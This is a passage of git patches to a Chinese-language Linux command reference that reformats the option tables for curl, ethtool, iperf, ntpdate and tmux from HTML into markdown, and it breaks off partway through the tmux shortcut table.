     --proxy-ntlm在代理上使用ntlm身份验证
-P/--ftp-port
使用端口地址，而不是使用PASV
-q作为第一个参数，关闭 .curlrc
-Q/--quote 文件传输前，发送命令到服务器
-r/--range 检索来自HTTP/1.1或FTP服务器字节范围
--range-file读取（SSL）的随机文件
-R/--remote-time在本地生成文件时，保留远程文件时间
     --retry 传输出现问题时，重试的次数
     --retry-delay 传输出现问题时，设置重试间隔时间
     --retry-max-time 传输出现问题时，设置最大重试时间
-s/--silent静默模式。不输出任何东西
-S/--show-error显示错误
     --socks4 用socks4代理给定主机和端口
     --socks5 用socks5代理给定主机和端口
     --stderr  
-t/--telnet-option Telnet选项设置
     --trace 对指定文件进行debug
     --trace-ascii Like --跟踪但没有hex输出
     --trace-time跟踪/详细输出时，添加时间戳
-T/--upload-file 上传文件
     --url Spet URL to work with
-u/--user 设置服务器的用户和密码
-U/--proxy-user 设置代理用户名和密码
-w/--write-out [format]什么输出完成后
-x/--proxy 在给定的端口上使用HTTP代理
-X/--request 指定什么命令
-y/--speed-time放弃限速所要的时间，默认为30
-Y/--speed-limit停止传输速度的限制，速度时间
+```bash +-a/--append # 上传文件时，附加到目标文件 +-A/--user-agent # 设置用户代理发送给服务器 +-anyauth # 可以使用“任何”身份验证方法 +-b/--cookie # cookie字符串或文件读取位置 +     --basic # 使用HTTP基本验证 +-B/--use-ascii # 使用ASCII /文本传输 +-c/--cookie-jar # 操作结束后把cookie写入到这个文件中 +-C/--continue-at # 断点续传 +-d/--data # HTTP POST方式传送数据 +     --data-ascii # 以ascii的方式post数据 +     --data-binary # 以二进制的方式post数据 +     --negotiate # 使用HTTP身份验证 +     --digest # 使用数字身份验证 +     --disable-eprt # 禁止使用EPRT或LPRT +     --disable-epsv # 禁止使用EPSV +-D/--dump-header # 把header信息写入到该文件中 +     --egd-file # 为随机数据(SSL)设置EGD socket路径 +     --tcp-nodelay # 使用TCP\_NODELAY选项 +-e/--referer # 来源网址 +-E/--cert # 客户端证书文件和密码 (SSL) +     --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL) +     --key # 私钥文件名 (SSL) +     --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL) +     --pass # 私钥密码 (SSL) +     --engine # 加密引擎使用 (SSL). "--engine list" for list +     --cacert # CA证书 (SSL) +     --capath # CA目录 (made using c\_rehash) to verify peer against (SSL) +     --ciphers # SSL密码 +     --compressed # 要求返回是压缩的形势 (using deflate or gzip) +     --connect-timeout # 设置最大请求时间 +     --create-dirs # 建立本地目录的目录层次结构 +     --crlf # 上传是把LF转变成CRLF +-f/--fail # 连接失败时不显示http错误 +     --ftp-create-dirs # 如果远程目录不存在，创建远程目录 +     --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 +     --ftp-pasv # 使用 PASV/EPSV 代替端口 +     --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址 +     --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输 +     --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 +-F/--form # 模拟http表单提交数据 +     --form-string # 模拟http表单提交数据 +-g/--globoff # 禁用网址序列和范围使用{}和\[] +-G/--get # 以get的方式来发送数据 +-H/--header # 自定义头信息传递给服务器 +     --ignore-content-length # 忽略的HTTP头信息的长度 +-i/--include # 输出时包括protocol头信息 +-I/--head # 只显示请求头信息 +-j/--junk-session-cookies # 读取文件进忽略session cookie +     --interface # 使用指定网络接口/地址 +     --krb4 # 使用指定安全级别的krb4 +-k/--insecure # 允许不使用证书到SSL站点 +-K/--config # 指定的配置文件读取 +-l/--list-only # 列出ftp目录下的文件名称 +     --limit-rate # 设置传输速度 +     --local-port # 强制使用本地端口号 +-m/--max-time # 设置最大传输时间 +     --max-redirs # 设置最大读取的目录数 +     --max-filesize # 设置最大下载的文件总量 +-M/--manual # 显示全手动 +-n/--netrc # 从netrc文件中读取用户名和密码 +     --netrc-optional # 使用 .netrc 或者 URL来覆盖-n +     --ntlm # 使用 HTTP NTLM 身份验证 +-N/--no-buffer # 禁用缓冲输出 +-o/--output # 把输出写到该文件中 +-O/--remote-name # 把输出写到该文件中，保留远程文件的文件名 +-p/--proxytunnel # 使用HTTP代理 +     --proxy-anyauth # 选择任一代理身份验证方法 +     --proxy-basic # 在代理上使用基本身份验证 +     --proxy-digest # 在代理上使用数字身份验证 +     --proxy-ntlm # 在代理上使用ntlm身份验证 +-P/--ftp-port # 使用端口地址，而不是使用PASV +-q # 作为第一个参数，关闭 .curlrc +-Q/--quote # 文件传输前，发送命令到服务器 +-r/--range # 检索来自HTTP/1.1或FTP服务器字节范围 +--range-file # 读取（SSL）的随机文件 +-R/--remote-time # 在本地生成文件时，保留远程文件时间 +     --retry # 传输出现问题时，重试的次数 +     --retry-delay # 传输出现问题时，设置重试间隔时间 +     --retry-max-time # 传输出现问题时，设置最大重试时间 +-s/--silent # 静默模式。不输出任何东西 +-S/--show-error # 显示错误 +     --socks4 # 用socks4代理给定主机和端口 +     --socks5 # 用socks5代理给定主机和端口 +     --stderr #   +-t/--telnet-option # Telnet选项设置 +     --trace # 对指定文件进行debug +     --trace-ascii # Like --跟踪但没有hex输出 +     --trace-time # 跟踪/详细输出时，添加时间戳 +-T/--upload-file # 上传文件 +     --url # Spet URL to work with +-u/--user # 设置服务器的用户和密码 +-U/--proxy-user # 设置代理用户名和密码 +-w/--write-out \[format] # 什么输出完成后 +-x/--proxy # 在给定的端口上使用HTTP代理 +-X/--request # 指定什么命令 +-y/--speed-time # 放弃限速所要的时间，默认为30 +-Y/--speed-limit # 停止传输速度的限制，速度时间 + +``` ### 实例 @@ -246,7 +243,7 @@ X-Pingback: http://wangchujiang.com/xmlrpc.php ```shell curl "http://www.wangchujiang.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 curl -i "http://www.wangchujiang.com" # 显示全部信息 -curl -l "http://www.wangchujiang.com" # 只显示头部信息 +curl -l "http://www.wangchujiang.com" # 显示页面内容 curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析 ``` From 4eb43ab53b8d1b477a65d4d00e9068b7f74e87d8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 26 Apr 2022 21:04:10 +0800 Subject: [PATCH 0467/1019] doc: update command/ethtool.md --- command/ethtool.md | 86 ++++++++-------------------------------------- 1 file changed, 15 insertions(+), 71 deletions(-) diff --git a/command/ethtool.md b/command/ethtool.md index dcbd9e6680a..9f7bd501695 100644 --- a/command/ethtool.md +++ b/command/ethtool.md @@ -53,77 +53,21 @@ Ethtool命令显示的信息来源于网卡驱动层，即TCP/ip协议的链路 网卡驱动负责实现（部分）这些函数，并将其封装入`ethtool_ops`结构体，为网络核心层提供统一的调用接口。因此，不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`，三者间的对应关系如下表所示： - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令选项struct ethtool_ops成员函数Ethtool命令显示参数的来源（以网卡驱动BNX2为例）
无 -sget_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel从网卡寄存器中获得网卡速度等信息，可配置。
-a -Aget_pauseparam set_pauseparam从网卡寄存器中获得Autonegotiate/RX/TX模块的状态：on oroff，可配置。
-c -Cget_coalesceset_coalesce从网卡寄存器中获得coalescing参数：TX/RX一个数据包后，推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时，RX中断停止。 当tx-usecs&tx-frames同时被设为0时，TX中断停止。
-g -Gget_ringparam set_ringparam除当前TX/RX ring的值（从网卡寄存器中读取得到，可配置）外，其它为网卡bnx2自己固定的信息。
-k -Kget_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso显示信息从保存该状态的变量中读取得到，没有对应的寄存器。因此，TX/RX校验等模块一直处于on状态，实际上是无法修改的。
-iget_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]网卡bnx2自己固定的信息，如： -——————————————————– -driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 -——————————————————–
-dget_drvinfoget_regs不支持，即bnx2中没有实现函数get_regs。
-e -Eget_eepromset_eeprom不支持，即bnx2中没有实现函数get_eeprom。
-rnway_reset配置网卡MII_BMCR寄存器，重启Auto negotiation模块。
-pphys_id配置网卡BNX2_EMAC_LED寄存器，实现LED闪功能。
-tself_test通过配置网卡寄存器，逐一测试网卡的硬件模块：registers，memory，loopback，Link stat，interrupt。
-Sget_ethtool_stats显示信息来源于网卡驱动中的结构体变量stats_blk。（网卡通过DMA方式，将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。） —显示的数据都是从网卡寄存器中统计得到的，各项的含义需查询网卡（芯片）手册。
+| 命令选项 | struct ethtool\_ops成员函数 | Ethtool命令显示参数的来源（以网卡驱动BNX2为例） | +| ----- | ----- | ----- | +| 无 -s | get\_settingsget\_wol get\_msglevel get\_link set\_settings set\_wol set\_msglevel | 从网卡寄存器中获得网卡速度等信息，可配置。 | +| -a -A | get\_pauseparam set\_pauseparam | 从网卡寄存器中获得Autonegotiate/RX/TX模块的状态：on oroff，可配置。 | +| -c -C | get\_coalesceset\_coalesce | 从网卡寄存器中获得coalescing参数：TX/RX一个数据包后，推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs\&rx-frames同时被设为0时，RX中断停止。 当tx-usecs\&tx-frames同时被设为0时，TX中断停止。 | +| -g -G | get\_ringparam set\_ringparam | 除当前TX/RX ring的值（从网卡寄存器中读取得到，可配置）外，其它为网卡bnx2自己固定的信息。 | +| -k -K | get\_rx\_csumget\_tx\_csum get\_sg get\_tso set\_rx\_csum set\_tx\_csum set\_sg set\_tso | 显示信息从保存该状态的变量中读取得到，没有对应的寄存器。因此，TX/RX校验等模块一直处于on状态，实际上是无法修改的。 | +| -i | get\_drvinfo\[self\_test\_count, get\_stats\_coun,t get\_regs\_len, get\_eeprom\_len] | 网卡bnx2自己固定的信息，如： ——————driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 ———————————– | +| -d | get\_drvinfoget\_regs | 不支持，即bnx2中没有实现函数get\_regs。 | +| -e -E | get\_eepromset\_eeprom | 不支持，即bnx2中没有实现函数get\_eeprom。 | +| -r | nway\_reset | 配置网卡MII\_BMCR寄存器，重启Auto negotiation模块。 | +| -p | phys\_id | 配置网卡BNX2\_EMAC\_LED寄存器，实现LED闪功能。 | +| -t | self\_test | 通过配置网卡寄存器，逐一测试网卡的硬件模块：registers，memory，loopback，Link stat，interrupt。 | +| -S | get\_ethtool\_stats | 显示信息来源于网卡驱动中的结构体变量stats\_blk。（网卡通过DMA方式，将寄存器BNX2\_HC\_STATISTICS \_ADDR\_L和BNX2\_HC\_STATISTICS\_ADDR\_H中的数据实时地读取到结构体变量struct statistics\_block \*stats\_blk中。） —显示的数据都是从网卡寄存器中统计得到的，各项的含义需查询网卡（芯片）手册。 | + 由上可见，ethtool命令用于显示/配置网卡硬件（寄存器）。   From d6be9a2dc263222162e4869c579e4c6ca6dc82fc Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 26 Apr 2022 21:04:24 +0800 Subject: [PATCH 0468/1019] doc: update command/iperf.md --- command/iperf.md | 237 +++++++++++++++-------------------------------- 1 file changed, 74 insertions(+), 163 deletions(-) diff --git a/command/iperf.md b/command/iperf.md index 79dff92d149..bf0428e7a26 100644 --- a/command/iperf.md +++ b/command/iperf.md @@ -25,169 +25,80 @@ make install ### 选项 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令行选项描述
客户端与服务器共用选项
-f, --format [bkmaBKMA]格式化带宽数输出。支持的格式有： -'b' = bits/sec 'B' = Bytes/sec -'k' = Kbits/sec 'K' = KBytes/sec -'m' = Mbits/sec 'M' = MBytes/sec -'g' = Gbits/sec 'G' = GBytes/sec -'a' = adaptive bits/sec 'A' = adaptive Bytes/sec -自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节，除非指定输出的格式，默认的参数是a。 -注意：在计算字节byte时，Kilo = 1024， Mega = 1024^2，Giga = 1024^3。通常，在网络中，Kilo = 1000， Mega = 1000^2， and Giga = 1000^3，所以，Iperf也按此来计算比特（位）。如果这些困扰了你，那么请使用-f b参数，然后亲自计算一下。
-i, --interval #设置每次报告之间的时间间隔，单位为秒。如果设置为非零值，就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #[KM]设置读写缓冲区的长度。TCP方式默认为8KB，UDP方式默认为1470字节。
-m, --print_mss输出TCP MSS值（通过TCP_MAXSEG支持）。MSS值一般比MTU值小40字节。通常情况
-p, --port #设置端口，与服务器端的监听端口一致。默认是5001端口，与ttcp的一样。
-u, --udp使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #[KM]设置套接字缓冲区为指定大小。对于TCP方式，此设置为TCP窗口大小。对于UDP方式，此设置为接受UDP数据包的缓冲区大小，限制可以接受数据包的最大值。
-B, --bind host绑定到主机的多个地址中的一个。对于客户端来说，这个参数设置了出栈接口。对于服务器端来说，这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下，此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility与低版本的Iperf使用时，可以使用兼容模式。不需要两端同时使用兼容模式，但是强烈推荐两端同时使用兼容模式。某些情况下，使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss #ip头减去40字节。在以太网中，MSS值 为1460字节（MTU1500字节）。许多操作系统不支持此选项。
-N, --nodelay设置TCP无延迟选项，禁用Nagle's运算法则。通常情况此选项对于交互程序，例如telnet，是禁用的。
-V (from v1.6 or higher)绑定一个IPv6地址。 -服务端：$ iperf -s –V -客户端：$ iperf -c -V -注意：在1.6.3或更高版本中，指定IPv6地址不需要使用-B参数绑定，在1.6之前的版本则需要。在大多数操作系统中，将响应IPv4客户端映射的IPv4地址。
服务器端专用选项
-s, --serverIperf服务器模式
-D (v1.2或更高版本)Unix平台下Iperf作为后台守护进程运行。在Win32平台下，Iperf将作为服务运行。
-R(v1.2或更高版本，仅用于Windows)卸载Iperf服务（如果它在运行）。
-o(v1.2或更高版本，仅用于Windows)重定向输出到指定文件
-c, --client host如果Iperf运行在服务器模式，并且用-c参数指定一个主机，那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel #服务器关闭之前保持的连接数。默认是0，这意味着永远接受连接。
客户端专用选项
-b, --bandwidth #[KM]UDP模式使用的带宽，单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host运行Iperf的客户端模式，连接到指定的Iperf服务器端。
-d, --dualtest运行双测试模式。这将使服务器端反向连接到客户端，使用-L 参数中指定的端口（或默认使用客户端连接到服务器端的端口）。这些在操作的同时就立即完成了。如果你想要一个交互的测试，请尝试-r参数。
-n, --num #[KM]传送的缓冲器数量。通常情况，Iperf按照10秒钟发送数据。-n参数跨越此限制，按照指定次数发送指定长度的数据，而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff往复测试模式。当客户端到服务器端的测试结束时，服务器端通过-l选项指定的端口（或默认为客户端连接到服务器端的端口），反向连接至客户端。当客户端连接终止时，反向连接随即开始。如果需要同时进行双向测试，请尝试-d参数。
-t, --time #设置传输的总时间。Iperf在指定的时间内，重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport #指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel #线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos #出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值，使用以"0x"开始的16进制数，或以"0"开始的8进制数或10进制数。 -例如，16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是： -IPTOS_LOWDELAY minimize delay 0x10 -IPTOS_THROUGHPUT maximize throughput 0x08 -IPTOS_RELIABILITY maximize reliability 0x04 -IPTOS_LOWCOST minimize cost 0x02
-T, --ttl #出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1，链接本地。
-F (from v1.2 or higher)使用特定的数据流测量带宽，例如指定的文件。 -$ iperf -c -F
-I (from v1.2 or higher)与-F一样，由标准输入输出文件输入数据。
杂项
-h, --help显示命令行参考并退出 。
-v, --version显示版本信息和编译信息并退出。
+```bash +-f, --format \[bkmaBKMA] # 格式化带宽数输出。支持的格式有： + # 'b' = bits/sec + # 'B' = Bytes/sec + # 'k' = Kbits/sec + # 'K' = KBytes/sec + # 'm' = Mbits/sec + # 'M' = MBytes/sec + # 'g' = Gbits/sec + # 'G' = GBytes/sec + # 'a' = adaptive bits/sec + # 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。 + # 除了带宽之外的字段都输出为字节，除非指定输出的格式，默认的参数是a。 + # 注意：在计算字节byte时，Kilo = 1024， Mega = 1024^2，Giga = 1024^3。 + # 通常，在网络中，Kilo = 1000， Mega = 1000^2， and Giga = 1000^3，所以，Iperf也按此来计算比特（位）。 + # 如果这些困扰了你，那么请使用-f b参数，然后亲自计算一下。 +-i, --interval # # 设置每次报告之间的时间间隔，单位为秒。如果设置为非零值，就会按照此时间间隔输出测试报告。默认值为零。 +-l, --len #\[KM] # 设置读写缓冲区的长度。TCP方式默认为8KB，UDP方式默认为1470字节。 +-m, --print\_mss # 输出TCP MSS值（通过TCP\_MAXSEG支持）。MSS值一般比MTU值小40字节。通常情况 +-p, --port # # 设置端口，与服务器端的监听端口一致。默认是5001端口，与ttcp的一样。 +-u, --udp # 使用UDP方式而不是TCP方式。参看-b选项。 +-w, --window #\[KM] # 设置套接字缓冲区为指定大小。对于TCP方式，此设置为TCP窗口大小。 + # 对于UDP方式，此设置为接受UDP数据包的缓冲区大小，限制可以接受数据包的最大值。 +-B, --bind host # 绑定到主机的多个地址中的一个。对于客户端来说，这个参数设置了出栈接口。对于服务器端来说， + # 这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下，此参数用于绑定和加入一个多播组。 + # 使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。 +-C, --compatibility # 与低版本的Iperf使用时，可以使用兼容模式。不需要两端同时使用兼容模式，但是强烈推荐两端同时使用兼容模式。 + # 某些情况下，使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。 +-M, --mss # ip头减去40字节。在以太网中，MSS值 为1460字节（MTU1500字节）。许多操作系统不支持此选项。 +-N, --nodelay # 设置TCP无延迟选项，禁用Nagle's运算法则。通常情况此选项对于交互程序，例如telnet，是禁用的。 +-V (from v1.6 or higher) # 绑定一个IPv6地址。 服务端：$ iperf -s –V 客户端：$ iperf -c -V 注意：在1.6.3或更高版本中，指定IPv6地址不需要使用-B参数绑定，在1.6之前的版本则需要。在大多数操作系统中，将响应IPv4客户端映射的IPv4地址。 +``` + +服务器端专用选项 + +```bash +-s, --server # Iperf服务器模式 +-D (v1.2或更高版本) # Unix平台下Iperf作为后台守护进程运行。在Win32平台下，Iperf将作为服务运行。 +-R(v1.2或更高版本，仅用于Windows) # 卸载Iperf服务（如果它在运行）。 +-o(v1.2或更高版本，仅用于Windows) # 重定向输出到指定文件 +-c, --client host # 如果Iperf运行在服务器模式，并且用-c参数指定一个主机，那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。 +-P, --parallel # # 服务器关闭之前保持的连接数。默认是0，这意味着永远接受连接。 +``` + +客户端专用选项 + +```bash +-b, --bandwidth #\[KM] # UDP模式使用的带宽，单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。 +-c, --client host # 运行Iperf的客户端模式，连接到指定的Iperf服务器端。 +-d, --dualtest # 运行双测试模式。这将使服务器端反向连接到客户端， + # 使用-L 参数中指定的端口（或默认使用客户端连接到服务器端的端口）。 + # 这些在操作的同时就立即完成了。如果你想要一个交互的测试，请尝试-r参数。 +-n, --num #\[KM] # 传送的缓冲器数量。通常情况，Iperf按照10秒钟发送数据。 + # -n参数跨越此限制，按照指定次数发送指定长度的数据，而不论该操作耗费多少时间。参考-l与-t选项。 +-r, --tradeoff # 往复测试模式。当客户端到服务器端的测试结束时，服务器端通过-l选项指定的端口（或默认为客户端连接到服务器端的端口）， + # 反向连接至客户端。当客户端连接终止时，反向连接随即开始。如果需要同时进行双向测试，请尝试-d参数。 +-t, --time # # 设置传输的总时间。Iperf在指定的时间内，重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。 +-L, --listenport # # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。 +-P, --parallel # # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。 +-S, --tos # # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值，使用以"0x"开始的16进制数， + # 或以"0"开始的8进制数或10进制数。 例如，16进制'0x10' = 8进制'020' = 十进制'16'。 + # TOS值1349就是： IPTOS\_LOWDELAY minimize delay 0x10 IPTOS\_THROUGHPUT maximize + # throughput 0x08 IPTOS\_RELIABILITY maximize reliability 0x04 IPTOS\_LOWCOST minimize cost 0x02 +-T, --ttl # # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1，链接本地。 +-F (from v1.2 or higher) # 使用特定的数据流测量带宽，例如指定的文件。 $ iperf -c -F +-I (from v1.2 or higher) # 与-F一样，由标准输入输出文件输入数据。 +``` + +杂项 + +```bash +-h, --help # 显示命令行参考并退出 。 +-v, --version # 显示版本信息和编译信息并退出。 +``` ### 实例 From faf7340993b5758c572c725dead8a84b1e85b55f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 26 Apr 2022 21:04:42 +0800 Subject: [PATCH 0469/1019] doc: update command/ntpdate.md --- command/ntpdate.md | 57 ++++++++++------------------------------------ 1 file changed, 12 insertions(+), 45 deletions(-) diff --git a/command/ntpdate.md b/command/ntpdate.md index 5209b7629e2..cfacf8b8ad7 100644 --- a/command/ntpdate.md +++ b/command/ntpdate.md @@ -26,49 +26,16 @@ ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] ### 选项 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-aKeyid使用 Keyid 来认证全部数据包。
-b通过调用 settimeofday 子例程来增加时钟的时间。
-d指定调试方式。判断 ntpdate 命令会产生什么结果（不产生实际的结果）。结果再现在屏幕上。这个标志使用无特权的端口。
-eAuthenticationDelay指定延迟认证处理的时间秒数。
-kKeyFile当不使用缺省值 /etc/ntp.keys 文件时，为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
-oVersion当轮询它的发出数据包时，指定使用的 NTP 版本实现。 Version 的值可以是 1，2，3。缺省值是 3。
-pSamples指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间，并包括 1 和 8。它的缺省值是 4。
-s指定日志操作 syslog 设施的使用，而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时，它是很有用的。
-tTimeOut指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-u指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的， 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机，它控制从外网对专用网的访问。
- +```shell +-aKeyid # 使用 Keyid 来认证全部数据包。 +-b # 通过调用 settimeofday 子例程来增加时钟的时间。 +-d # 指定调试方式。判断 ntpdate 命令会产生什么结果（不产生实际的结果）。结果再现在屏幕上。这个标志使用无特权的端口。 +-eAuthenticationDelay # 指定延迟认证处理的时间秒数。 +-kKeyFile # 当不使用缺省值 /etc/ntp.keys 文件时，为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。 +-oVersion # 当轮询它的发出数据包时，指定使用的 NTP 版本实现。 Version 的值可以是 1，2，3。缺省值是 3。 +-pSamples # 指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间，并包括 1 和 8。它的缺省值是 4。 +-s # 指定日志操作 syslog 设施的使用，而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时，它是很有用的。 +-tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。 +-u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的， 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机，它控制从外网对专用网的访问。 +``` From a0491bb769132ee22fb6b43810414f366dfa19ae Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 26 Apr 2022 21:04:57 +0800 Subject: [PATCH 0470/1019] doc: update command/tmux.md --- command/tmux.md | 339 ++++++++---------------------------------------- 1 file changed, 54 insertions(+), 285 deletions(-) diff --git a/command/tmux.md b/command/tmux.md index 7c43f55fbea..8ce7b1a7481 100644 --- a/command/tmux.md +++ b/command/tmux.md @@ -38,291 +38,60 @@ make && make install ## 快捷键使用说明 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
Ctrl+b
-		 -
激活控制台；此时以下按键生效
-
-
系统操作
-		 -
?
-		 -
列出所有快捷键；按q返回
-
-
d
-		 -
脱离当前会话；这样可以暂时返回Shell界面，输入tmux attach能够重新进入之前的会话
-
-
D
-		 -
选择要脱离的会话；在同时开启了多个会话时使用
-
-
Ctrl+z
-		 -
挂起当前会话
-
-
r
-		 -
强制重绘未脱离的会话
-
-
s
-		 -
选择并切换会话；在同时开启了多个会话时使用
-
-
:
-		 -
进入命令行模式；此时可以输入支持的命令，例如kill-server可以关闭服务器
-
-
[
-		 -
进入复制模式；此时的操作与vi/emacs相同，按q/Esc退出
-
-
~
-		 -
列出提示信息缓存；其中包含了之前tmux返回的各种提示信息
-
-
窗口操作
-		 -
c
-		 -
创建新窗口
-
-
&
-		 -
关闭当前窗口
-
-
数字键
-		 -
切换至指定窗口
-
-
p
-		 -
切换至上一窗口
-
-
n
-		 -
切换至下一窗口
-
-
l
-		 -
在前后两个窗口间互相切换
-
-
w
-		 -
通过窗口列表切换窗口
-
-
,
-		 -
重命名当前窗口；这样便于识别
-
-
.
-		 -
修改当前窗口编号；相当于窗口重新排序
-
-
f
-		 -
在所有窗口中查找指定文本
-
-
面板操作
-		 -
”
-		 -
将当前面板平分为上下两块
-
-
%
-		 -
将当前面板平分为左右两块
-
-
x
-		 -
关闭当前面板
-
-
!
-		 -
将当前面板置于新窗口；即新建一个窗口，其中仅包含当前面板
-
-
Ctrl+方向键
-		 -
以1个单元格为单位移动边缘以调整当前面板大小
-
-
Alt+方向键
-		 -
以5个单元格为单位移动边缘以调整当前面板大小
-
-
Space
-		 -
在预置的面板布局中循环切换；依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled
-
-
q
-		 -
显示面板编号
-
-
o
-		 -
在当前窗口中选择下一面板
-
-
方向键
-		 -
移动光标以选择面板
-
-
{
-		 -
向前置换当前面板
-
-
}
-		 -
向后置换当前面板
-
-
Alt+o
-		 -
逆时针旋转当前窗口的面板
-
-
Ctrl+o
-		 -
顺时针旋转当前窗口的面板
-
+| | | +| :----- | :----- | +| Ctrl+b | 激活控制台；此时以下按键生效 | + + +### 系统操作 + +| | | +| :----- | -------- | +| ? | 列出所有快捷键；按q返回 | +| d | 脱离当前会话；这样可以暂时返回Shell界面，输入tmux attach能够重新进入之前的会话 | +| D | 选择要脱离的会话；在同时开启了多个会话时使用 | +| Ctrl+z | 挂起当前会话 | +| r | 强制重绘未脱离的会话 | +| s | 选择并切换会话；在同时开启了多个会话时使用 | +| : | 进入命令行模式；此时可以输入支持的命令，例如kill-server可以关闭服务器 | +| \[ | 进入复制模式；此时的操作与vi/emacs相同，按q/Esc退出 | +| \~ | 列出提示信息缓存；其中包含了之前tmux返回的各种提示信息 | + + +### 窗口操作 + +| | | +| :----- | -------- | +| c | 创建新窗口 | +| & | 关闭当前窗口 | +| 数字键 | 切换至指定窗口 | +| p | 切换至上一窗口 | +| n | 切换至下一窗口 | +| l | 在前后两个窗口间互相切换 | +| w | 通过窗口列表切换窗口 | +| , | 重命名当前窗口；这样便于识别 | +| . | 修改当前窗口编号；相当于窗口重新排序 | +| f | 在所有窗口中查找指定文本 | + +### 面板操作 + +| | | +| :----- | -------- | +| ” | 将当前面板平分为上下两块 | +| % | 将当前面板平分为左右两块 | +| x | 关闭当前面板 | +| ! | 将当前面板置于新窗口；即新建一个窗口，其中仅包含当前面板 | +| Ctrl+方向键 | 以1个单元格为单位移动边缘以调整当前面板大小 | +| Alt+方向键 | 以5个单元格为单位移动边缘以调整当前面板大小 | +| Space | 在预置的面板布局中循环切换；依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled | +| q | 显示面板编号 | +| o | 在当前窗口中选择下一面板 | +| 方向键 | 移动光标以选择面板 | +| { | 向前置换当前面板 | +| 